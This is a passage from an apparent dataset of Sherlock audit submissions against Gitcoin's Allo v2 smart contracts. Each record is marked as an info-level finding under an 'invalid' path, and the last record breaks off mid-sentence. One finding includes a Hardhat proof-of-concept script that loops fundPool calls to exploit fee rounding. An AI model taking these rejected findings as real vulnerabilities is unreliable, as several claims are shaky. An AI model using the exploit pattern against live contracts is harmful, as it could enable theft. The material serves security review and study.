(here, we're not considering fee-on-transfer tokens). When withdrawing, you can only withdraw up to the amount specified by `poolAmount`; otherwise, it will result in an overflow.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516-L517\n```solidity\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n```\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L292-L301\n```solidity\n /// @notice Withdraw funds from pool.\n /// @dev 'msg.sender' must be a pool manager to withdraw funds.\n /// @param _amount The amount to be withdrawn\n function withdraw(uint256 _amount) external onlyPoolManager(msg.sender) onlyInactivePool {\n // Decrement the pool amount\n poolAmount -= _amount;\n\n // Transfer the amount to the pool manager\n _transferAmount(allo.getPool(poolId).token, msg.sender, _amount);\n }\n```\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L394-L409\n```solidity\n function withdraw(uint256 _amount) external onlyPoolManager(msg.sender) {\n if (block.timestamp <= allocationEndTime + 30 days) {\n revert INVALID();\n }\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n\n if (_amount > poolAmount) {\n revert INVALID();\n }\n\n poolAmount -= _amount;\n\n // Transfer the tokens to the 'msg.sender' (pool manager calling function)\n _transferAmount(pool.token, msg.sender, _amount);\n }\n```\n\nFor rebase tokens, whose balances continually increase, this restriction prevents the excess balance from being withdrawn from the contract.\n## Impact\nThe increased portion of the rebase token balance will be locked in the pool.\n## Code Snippet\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516-L517\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L292-L301\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L394-L409\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L394-L409\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd a `recoverFunds` function to withdraw assets, bypassing the `poolAmount` limitation.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/180.md"}} +{"title":"Allo#_createPool","severity":"info","body":"Brilliant Chambray Reindeer\n\nmedium\n\n# Allo#_createPool\nIn Allo.sol _createPool, if the token is NATIVE and the user sent exactly the needed `baseFee + amount`, the transaction will revert but it shouldn't.\n## Vulnerability Detail\nLet's see the `_createPool`'s code:\n```solidity\nfunction _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n if (!registry.isOwnerOrMemberOfProfile(_profileId, msg.sender)) revert UNAUTHORIZED();\n\n poolId = ++_poolIndex;\n\n // Generate the manager & admin roles for the pool (this is the way we do this throughout the protocol for consistency)\n bytes32 POOL_MANAGER_ROLE = bytes32(poolId);\n bytes32 POOL_ADMIN_ROLE = keccak256(abi.encodePacked(poolId, \"admin\"));\n\n // Create the Pool instance\n Pool memory pool = Pool({\n profileId: _profileId,\n strategy: _strategy,\n metadata: _metadata,\n token: _token,\n managerRole: POOL_MANAGER_ROLE,\n adminRole: POOL_ADMIN_ROLE\n });\n\n // Add the pool to the mapping of created pools\n pools[poolId] = pool;\n\n // Grant admin roles to the pool creator\n _grantRole(POOL_ADMIN_ROLE, msg.sender);\n\n // Set admin role for POOL_MANAGER_ROLE\n _setRoleAdmin(POOL_MANAGER_ROLE, POOL_ADMIN_ROLE);\n\n // initialize strategies\n // Initialization is expected to revert when invoked more than once with 'ALREADY_INITIALIZED()' error\n _strategy.initialize(poolId, _initStrategyData);\n\n if (_strategy.getPoolId() != poolId || address(_strategy.getAllo()) != address(this)) revert MISMATCH();\n\n // grant pool managers roles\n uint256 managersLength = _managers.length;\n for (uint256 i; i < managersLength;) {\n address manager = _managers[i];\n if (manager == address(0)) revert ZERO_ADDRESS();\n\n _grantRole(POOL_MANAGER_ROLE, manager);\n unchecked {\n ++i;\n }\n }\n\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n\n if (_amount > 0) {\n _fundPool(_amount, poolId, _strategy);\n }\n\n emit PoolCreated(poolId, _profileId, _strategy, _token, _amount, _metadata);\n }\n```\nand more specifically this check:\n```solidity\nif (baseFee > 0) {\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n```\nAs you can see if the token is `NATIVE` and `baseFee + _amount >= msg.value`, the transaction will revert. However, there is no reason to revert if the user sends `baseFee + _amount == msg.value` as this is exactly how much is needed. \n\nThe users will expect their transaction to work if they send exactly how much ETH is needed.\n## Impact\nThe users need to send more than needed and may end up overpaying.\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/core/Allo.sol#L415\n## Tool used\nManual Review\n\n## Recommendation\nChange the check from `(baseFee + _amount >= msg.value)` to strictly `(baseFee + _amount > msg.value)`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/179.md"}} +{"title":"Worthless ERC20 tokens or fake tokens can be deposited while creating a pool","severity":"info","body":"Refined Pink Duck\n\nhigh\n\n# Worthless ERC20 tokens or fake tokens can be deposited while creating a pool\nWorthless ERC20 tokens or fake tokens can be deposited while creating a pool\n\n## Vulnerability Detail\nThe contract allows deposit of any ERC20 tokens. A malicious user can deposit a worthless ERC20 token while creating a pool or depositing into a pool. Also, the contract uses Transfer.sol and, partially, Solady SafeTransferLib. These libraries don't check if a token address is a contract.\n\n## Impact\nWorthless and useless tokens can be used to pay baseFees and percentages.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L144C4-L162C1\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L415C1-L485C6\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L174C4-L197C6\n\n## Tool used\nManual Review\n\n## Recommendation\nThere should be whitelisted tokens. It would be great to use Openzeppelin's ERC20 SafeERC20.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/178.md"}} +{"title":"Contract Reoccupation Risk with `CREATE3`","severity":"info","body":"Blunt Cerulean Hedgehog\n\nhigh\n\n# Contract Reoccupation Risk with `CREATE3`\nThe use of CREATE3 to deploy contracts introduces a potential risk of contract reoccupation when a contract is destroyed via self-destruct (`selfdestruct`). This risk arises because the bytecode is deleted, allowing an attacker to potentially recreate a new contract at the same address using CREATE3. This issue can impact the security and intended functionality of contracts.\n## Vulnerability Detail\nThe vulnerability is related to the `_generateAnchor` function in the contract. When a contract is destroyed via `selfdestruct`, its bytecode is deleted, and the code size is set to zero. However, CREATE3 allows for the deterministic generation of contract addresses based on parameters such as `_profileId` and a `salt` value. If an attacker knows the same `_profileId`, `salt`, and the `preCalculatedAddress` of a previously deployed contract (that was subsequently destroyed), they can potentially recreate a new contract at the same address.\n**Exploitation of Contract Reoccupation Vulnerability**:\n1. Initial Contract Deployment:\n- An attacker identifies a target contract that uses the CREATE3 opcode for contract deployment, such as the `_generateAnchor` function mentioned earlier.\n2. Contract Destruction via Self-Destruct:\n- The attacker waits for the target contract to be destroyed via self-destruct (`selfdestruct`). When a contract is self-destructed, its bytecode is deleted, and the code size is set to zero.\n3. Collecting Information:\n- The attacker gains knowledge of the parameters used for contract deployment, especially the `_profileId` and any salt value employed in the CREATE3 function.\n4. Recreation of the Contract:\n- Armed with the same `_profileId` and `salt` used previously, the attacker uses CREATE3 to redeploy a new contract to the same address that was occupied by the destroyed contract. This is possible because CREATE3 allows for the deterministic calculation of contract addresses based on parameters.\n5. Exploitation:\n- The attacker's recreated contract now occupies the same address as the previously destroyed contract. Depending on the context and functionality of the contract, this can lead to various forms of exploitation:\ni) Unauthorized access: The attacker may gain control over contract resources or assets intended for the destroyed contract.\nii) Inconsistent state: The attacker may interfere with the intended functionality of the contract, causing unexpected behavior or erroneous state changes.\niii) Security breaches: If the destroyed contract had security-sensitive logic, the attacker could exploit vulnerabilities in the contract's logic.\n## Impact\nThe consequences of this exploitation can vary widely depending on the specific contract's purpose and functionality. They may include financial losses, data breaches, denial-of-service attacks, or other forms of disruption.\n## Code Snippet\n(https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L335-L352)\n## Tool used\n\nManual Review\n\n## Recommendation\nInclude the validator public key in the salt.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/173.md"}} +{"title":"In RFPSimpleStrategy, too little is paid for milestones past the first","severity":"info","body":"Merry Punch Caterpillar\n\nmedium\n\n# In RFPSimpleStrategy, too little is paid for milestones past the first\n\nRFPSimpleStrategy._distribute distributes a percentage of the amount of funds *currently remaining in the pool*. This means that e.g.: if there are two milestones of 50% each, the first milestone will pay 50%, and the second will pay 50% of the remaining 50%, leaving 25% in the pool.\n\n## Vulnerability Detail\n\n1. Alice creates a pool using the RFPSimpleStrategy, with two milestone for 50% each\n2. Bob submits a winning bid for 10K USDC. \n3. Alice accepts Bob's bid and funds the pool to 10K USDC.\n4. Bob completes the first milestone and Alice calls _distribute. Bob gets paid 5K USDC. Now poolAmount is 5000e18.\n5. Bob completes the first milestone and Alice calls _distribute. However, Bob only gets paid 5k USDC.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432C7-L432C7\n\n6. As a result, Bob is not paid in full for the second milestone. \n\nFurther, if Alice withdraws the remaining funds, Alice permanently loses the fees charged by the protocol. \n\n## Impact\n\nRFPSimpleStrategy pools with multiple milestones do not work.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432C7-L432C7\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nDo not decrement the pool amount.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/172.md"}} +{"title":"The `metadata` in `RFPSimpleStrategy._registerRecipient` is not being stored.","severity":"info","body":"Fancy Khaki Perch\n\nmedium\n\n# The `metadata` in `RFPSimpleStrategy._registerRecipient` is not being stored.\nThe `metadata` in `RFPSimpleStrategy._registerRecipient` is not being stored.\n## Vulnerability Detail\nThe `metadata` parameter is included in `RFPSimpleStrategy._registerRecipient`, but it ultimately is not saved to the `recipient`.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314-L337\n```solidity\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n {\n bool isUsingRegistryAnchor;\n address recipientAddress;\n address registryAnchor;\n uint256 proposalBid;\n Metadata memory metadata;\n\n // Decode '_data' depending on the 'useRegistryAnchor' flag\n if (useRegistryAnchor) {\n /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n\n // If the sender is not a profile member this will revert\n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n } else {\n // @custom:data when 'false' -> (address recipientAddress, address registryAnchor, uint256 proposalBid, Metadata metadata)\n (recipientAddress, registryAnchor, proposalBid, metadata) =\n abi.decode(_data, (address, address, uint256, Metadata));\n```\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L375-L379\n```solidity\n // update the recipients data\n recipient.recipientAddress = recipientAddress;\n recipient.useRegistryAnchor = isUsingRegistryAnchor ? true : recipient.useRegistryAnchor;\n recipient.proposalBid = proposalBid;\n recipient.recipientStatus = Status.Pending;\n```\n\nIn contrast, in `DonationVotingMerkleDistributionBaseStrategy`, the `metadata` is properly saved to the `recipient`.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L575-L578\n```solidity\n // update the recipients data\n recipient.recipientAddress = recipientAddress;\n recipient.metadata = metadata;\n recipient.useRegistryAnchor = useRegistryAnchor ? true : isUsingRegistryAnchor;\n```\n## Impact\nThe setting of the recipient's `metadata` as expected is not completed.\n## Code Snippet\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314-L337\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L375-L379\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L575-L578\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd `recipient.metadata = metadata;`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/170.md"}} +{"title":"Replay attack possibility","severity":"info","body":"Massive Peanut Porcupine\n\nmedium\n\n# Replay attack possibility\nReplay attack possibility\n## Vulnerability Detail\nWhen using createProfile() to create a new profile, the generation of an anchor contract involves calling _generateAnchor(). The salt value for _generateAnchor() is generated solely from _profileId and _name.\n## Impact\nA malicious user can generate the same salt by using the same profileId and name, resulting in the generation and deployment of the same anchor contract.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L336\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider including msg.sender and nonce when calculating the salt value.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/167.md"}} +{"title":"Discrepancy in `_fundPool` fee calculations allowing possible misappropriation of funds due to absence of consistency check between `_amount`, `feeAmount`, and `amountAfterFee`","severity":"info","body":"Shiny Neon Snail\n\nhigh\n\n# Discrepancy in `_fundPool` fee calculations allowing possible misappropriation of funds due to absence of consistency check between `_amount`, `feeAmount`, and `amountAfterFee`\n\nAn attacker can drain funds from the `Allo.sol` contract by exploiting the fee mechanism in the `_fundPool` function.\n\n## Vulnerability Detail\n\nThe contract is derived from multiple other contracts and libraries such as `Ownable`, `AccessControl`, `ReentrancyGuardUpgradeable`, among others. The purpose of this contract appears to be to manage various investment pools and their associated strategies. These pools can be funded, allocated, and distributed based on the specific strategies.\n\nA key function of interest is `_fundPool`, which takes an `_amount`, a `_poolId`, and a `strategy` as parameters. This function is responsible for calculating the fee and subsequently transferring the appropriate amounts to the correct destinations.\n\n### The flaw\n\n> The vulnerability arises within the `_fundPool` function's fee calculation logic:\n\n```solidity\nif (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n}\n```\n\nThe code calculates `feeAmount` based on the inputted `_amount` and a defined `percentFee`, but notably lacks any verification to ensure the total funds (i.e., the sum of `feeAmount` and `amountAfterFee`) correspond with the initial `_amount`.\n\nSolidity's integer division truncates any remainder, so when the calculation for `feeAmount` is performed, **any discrepancy caused by the truncation is not accounted for. This allows for situations where the sum of the `feeAmount` and the `amountAfterFee` could possibly be less than the original `_amount`, which would mean more funds than necessary could be transferred, exposing the contract to possible fund misappropriations**.\n\nIn other words, the absence of a check after fee calculation is the root cause, and the code does not guarantee that `amountAfterFee + feeAmount = _amount`. This is what makes the attack vector viable.\n\nFurthermore, the use of the `nonReentrant` modifier in the external `fundPool` (which is calling the internal `_fundPool`) would prevent reentrancy attacks. However, it is worth to note that this vulnerability **does not rely on reentrancy**. An attacker could still exploit the described vulnerability by making **individual, separate** calls to the `fundPool` function.\n\nAn attacker can leverage this vulnerability by choosing specific `_amount` values for which the truncation discrepancy is maximized. The attacker would then fund the pool repeatedly with these specifically chosen values, slowly draining more funds from the contract than intended.\n\n## Impact\n\nAn attacker, with enough gas, can repeatedly fund a pool with carefully chosen amounts to drain the contract's funds over time.\n\n## Code Snippet\n\n```solidity\n function fundPool(uint256 _poolId, uint256 _amount) external payable nonReentrant {\n // if amount is 0, revert with 'NOT_ENOUGH_FUNDS()' error\n if (_amount == 0) revert NOT_ENOUGH_FUNDS();\n\n // Call the internal fundPool() function\n _fundPool(_amount, _poolId, pools[_poolId].strategy);\n }\n\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\n\n[(public) fundPool-Allo.sol#L339-L345](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L339-L345)\n\n[(internal) _fundPool-Allo.sol#L509-L514](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L509-L514)\n\n## Tool used\n\nManual review.\n\n## Recommendation\n\n1. Implement a verification step after the fee calculation within the `_fundPool` function:\n\n> ```solidity\n> require(_amount == feeAmount + amountAfterFee, \"Invalid amount calculations\");\n> ```\n\nThis check ensures that the sum of `feeAmount` and `amountAfterFee` always corresponds to the initial `_amount`, effectively safeguarding against unintended transfers.\n\n2. Alternatively, consider using a more precise method of fee calculation or incorporating rounding mechanisms that can account for the discrepancy caused by truncation, ensuring that the correct amount is always transferred.\n\n## POC\n\nThe idea here is to maximize the amount that is \"left out\" when calculating `feeAmount`. The feeAmount is calculated as follows:\n\n```solidity\nfeeAmount = (_amount * percentFee) / getFeeDenominator();\n```\n\nIf `_amount * percentFee` is not a multiple of `getFeeDenominator()`, the Solidity division will truncate the result, causing a small amount of value to be lost. This is the amount we wish to maximize to exploit the contract optimally.\n\nThe maximum discrepancy is introduced when `_amount * percentFee` is one less than a multiple of `getFeeDenominator()`. In mathematical terms:\n\n```plaintext\n(_amount * percentFee) % getFeeDenominator() = getFeeDenominator() - 1\n```\n\nSolving for `_amount` gives us:\n\n```plaintext\n_amount = ((getFeeDenominator() - 1) + (getFeeDenominator() * n)) / percentFee\n```\n\nHere, `n` is any non-negative integer. The choice of `n` would depend on how much `_amount` you can invest.\n\n**One could create a loop that calculates the optimal value of `n` iteratively, ensuring that the discrepancy is exploited to its maximum**.\n\n```javascript\nconst { ethers } = require(\"hardhat\");\n\nasync function main() {\n// Initialize and deploy contracts\nconst [deployer] = await ethers.getSigners();\nconsole.log(\"Deploying contracts with the account:\", deployer.address);\n\n// Assume other required contracts are deployed, such as registry, etc.\nconst REGISTRY_ADDRESS = \"0xRegistryAddress\";\nconst STRATEGY_ADDRESS = \"0xStrategyAddress\";\nconst TOKEN_ADDRESS = \"0xTokenAddress\";\n\nconst Allo = await ethers.getContractFactory(\"Allo\");\nconst allo = await Allo.deploy(REGISTRY_ADDRESS, deployer.address); // Treasuring being the deployer for example\nawait allo.deployed();\n\n// Fetch percentFee and baseFee from the deployed contract\nconst percentFee = await allo.percentFee();\nconst baseFee = await allo.baseFee();\n\n// Create a pool\nconst PROFILE_ID = ethers.utils.formatBytes32String(\"exampleProfile\");\nconst INIT_STRATEGY_DATA = ethers.utils.toUtf8Bytes(\"exampleData\");\nconst METADATA = {\n name: \"example pool\",\n description: \"example description\",\n extra: \"Any extra data we want to declare\"\n};\nconst MANAGERS = [deployer.address];\n\nconst poolId = await allo.createPool(\n PROFILE_ID,\n STRATEGY_ADDRESS,\n INIT_STRATEGY_DATA,\n TOKEN_ADDRESS,\n baseFee, // Using baseFee as an example amount\n METADATA,\n MANAGERS\n);\n\n// Determine the fee structure\nconst feeDenominator = await allo.getFeeDenominator();\n\n// Craft the amount to exploit the fee discrepancy\nconst MAX_ITERATIONS = 100; // Arbitrarily chosen. Adjust as needed.\n\nfor (let i = 0; i < MAX_ITERATIONS; i++) {\n const chosenAmount = ((feeDenominator.sub(1)).add(feeDenominator.mul(i))).div(percentFee);\n\n await allo.fundPool(poolId, chosenAmount);\n\n // Now, let's check the discrepancy\n const strategyAddress = (await allo.pools(poolId)).strategy;\n const strategyBalance = await ethers.provider.getBalance(strategyAddress);\n const expectedBalance = chosenAmount.sub((chosenAmount.mul(percentFee)).div(feeDenominator));\n\n console.log(`Iteration ${i}`);\n console.log(\"Expected balance in strategy:\", expectedBalance.toString());\n console.log(\"Actual balance in strategy:\", strategyBalance.toString());\n\n if(!expectedBalance.eq(strategyBalance)) {\n console.error(\"Discrepancy found in iteration \", i);\n }\n}\n\nmain().catch(error => {\n console.error(error);\n process.exit(1);\n});\n```\n\n> In this script:\n\n1. We start by setting up the environment.\n2. We fetch the `feeDenominator` and `percentFee` from the contract itself.\n3. A formula is used to calculate `chosenAmount` that maximizes the discrepancy due to Solidity's truncating division. This `chosenAmount` will be used to fund the pool.\n4. We repeatedly fund the pool with the `chosenAmount` and then check the strategy's balance.\n5. The actual balance in the strategy and the expected balance are then compared. If they don't match, it confirms the vulnerability.\n\nThe script leverages the flaw by calculating an `_amount` which maximizes the truncation discrepancy:\n\n```plaintext\n(_amount * percentFee) % getFeeDenominator() = getFeeDenominator() - 1\n```\n\nBy carefully choosing `MAX_ITERATIONS` (`n` times) and executing this repeatedly using different values of `n`, an attacker could exploit this vulnerability to the maximum extent, thus eventually draining the contract.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/164.md"}} +{"title":"Incorrect check for basefee and amount in `createPool`","severity":"info","body":"Rhythmic Lime Pig\n\nmedium\n\n# Incorrect check for basefee and amount in `createPool`\nIncorrect check for basefee and amount when creating pool.\n\n## Vulnerability Detail\nUsers can create new pool and pay a `baseFee` to treasury and fund the pool with desired `amount`.\nThe issue is how this baseFee and supplied amount is checked. if the user provides the exact amount the function would revert due to an incorrect check which also goes contrary to the comments.\n```solidity\nfunction _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n\t...SNIP\n\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {//@audit-issue this would always fail for exact amount\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n\n ...SNIP\n }\n```\nAs seen in the comments the intention is to check baseFee should be >= msg.value but the if condition makes the equality check to revert.\nSince users would mostly pass in `baseFee` + `amount`, this would always revert, forcing users to overpay.\n\n## Impact\nPool creation would revert when users send the exact and intended value, forcing users to overstate their payment.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n\n## Tool used\nManual Review\n\n## Recommendation\n```diff\nfunction _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n\t...SNIP\n\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n- if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n+\t if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n\n ...SNIP\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/163.md"}} +{"title":"M-2: The funded amount is all gone to the treasury when the percentFee is 100%","severity":"info","body":"Amusing Glossy Chinchilla\n\nmedium\n\n# M-2: The funded amount is all gone to the treasury when the percentFee is 100%\nwhen the ``percentFee `` is set to 100% which is not applicable when the user intention is to fund the pool but user instead finds all the token is sent to the treasury.\n## Vulnerability Detail\nPOC \n-bob wants to fund a pool , \n-bob doesn't know that the ``percentFee``is set to 100% ,\n-bob calls the function set his intended pool and amount to 100 DAI,\n-then bob see that his 100 DAI is sent to the treasury instead of the pool .\n```solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\n\n## Impact\nA user having clear intention to fund the pool but instead it's sent to the treasury.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502\n\n## Tool used\n\nManual Review\n\n## Recommendation\nThe 100% fee shouldn't be used for ``percentFee`` . It should be ``(_percentFee <= 1e17) `` if a user clearly wants to fund the pool \n```solidity\n /// @dev How the percentage is represented in our contracts: 1e18 = 100%, 1e17 = 10%, 1e16 = 1%, 1e15 = 0.1%\n uint256 private percentFee;\n```\n```solidity\n function _updatePercentFee(uint256 _percentFee) internal {\n - if (_percentFee > 1e18) revert INVALID_FEE();\n + if (_percentFee <= 1e17) revert INVALID_FEE();\n\n percentFee = _percentFee;\n\n emit PercentFeeUpdated(percentFee);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/162.md"}} +{"title":"M-1: A malicious user with member role can immediately create pools","severity":"info","body":"Amusing Glossy Chinchilla\n\nmedium\n\n# M-1: A malicious user with member role can immediately create pools\nThis scenario occurs when the owner grants a member role to a malicious user unintentionally .Malicious User can create a pool , even if the owner revoke the roles it doesn't affect it because the pool is already deployed even if the role of malicious user is revoked ,user will still gain access to pool . The malicious user can just wait for user to participate in the pool and steal the funds of the users .\n## Vulnerability Detail\nPOC\n-profile owner grants a member role to a malicious user unintentionally \n-user creates a pool immediately ,frontrunning the owner\n-even if owner tries to revoke roles but the pool is already deployed,\n-The user becomes the owner of the pool \n-The user just wait for users to participate in the pool and\n-easily steals funds from the pool .\n## Impact\nloss of funds of users who participate in the pool \n## Code 